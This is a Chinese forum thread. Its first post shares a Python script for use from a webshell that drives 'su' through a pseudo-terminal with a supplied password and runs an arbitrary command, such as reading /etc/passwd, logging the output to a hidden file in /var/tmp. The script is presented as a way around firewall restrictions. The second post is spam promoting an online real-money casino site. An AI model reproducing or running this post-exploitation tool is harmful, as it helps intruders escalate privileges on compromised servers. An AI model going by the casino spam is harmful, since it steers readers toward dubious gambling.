淘客家

标题: 在Webshell下运行命令的脚本程序 [打印本页]

作者: Meddy    时间: 2011-3-4 12:45
标题: 在Webshell下运行命令的脚本程序
#!/usr/bin/env python
  #For God sake, Keep it priv4t3
  import sys,os,time,pty
  def usage():
  print "ptyexec.py: fuck the firewall block up"
  print "By xi4oyu http://www.pentestday.com"
  print "Usage: ptyexec.py "
  print 'Ext: ptyexec.py root 123456 "cat /etc/passwd"'
  print 'Result will be located in /var/tmp'
  sys.exit(0)
  def fuck_child(pipein):
  os.dup2(pipein,0)
  fd = open("/var/tmp/.result.txt","a")
  os.dup2(fd.fileno(),1)
  os.dup2(fd.fileno(),2)
  pty.spawn("/bin/sh")
  print "GAGA..I'm back,Alt it never be happened"
  sys.exit(0)
  def fuck_it_up(user,passwd,command):
  pipein,pipeout = os.pipe()
  #Fork the fucking child
  if os.fork() == 0:
  fuck_child(pipein)
  else:
  time.sleep(2)
  os.write(pipeout,'su - %s\n'% user)
  time.sleep(2)
  os.write(pipeout,'%s\n' % passwd)
  time.sleep(2)
  os.write(pipeout,'%s\n' % command)
  time.sleep(2)
  os.write(pipeout,'exit\n');
  time.sleep(2)
  sys.exit(0)
  if __name__ == "__main__":
  if len(sys.argv) != 4:
  usage()
  fuck_it_up(sys.argv[1],sys.argv[2],sys.argv[3])

作者: 向吴届    时间: 2011-4-11 04:12
有合法牌照,通过高清设备现场直播,和澳门一样,荷官的动作和样子都能看的一清二楚,在家里就可以感受现场,玩真钱的,资金交易挺方便的,现在很多人都不去澳门了,p9520.com这个挺正规的,24小时都有客服,免费申请后就可以看现场,亲自体验,他们家金沙和星际都有场,信誉不错。




欢迎光临 淘客家 (http://www.taoke-cn.cn/) Powered by Discuz! X3.5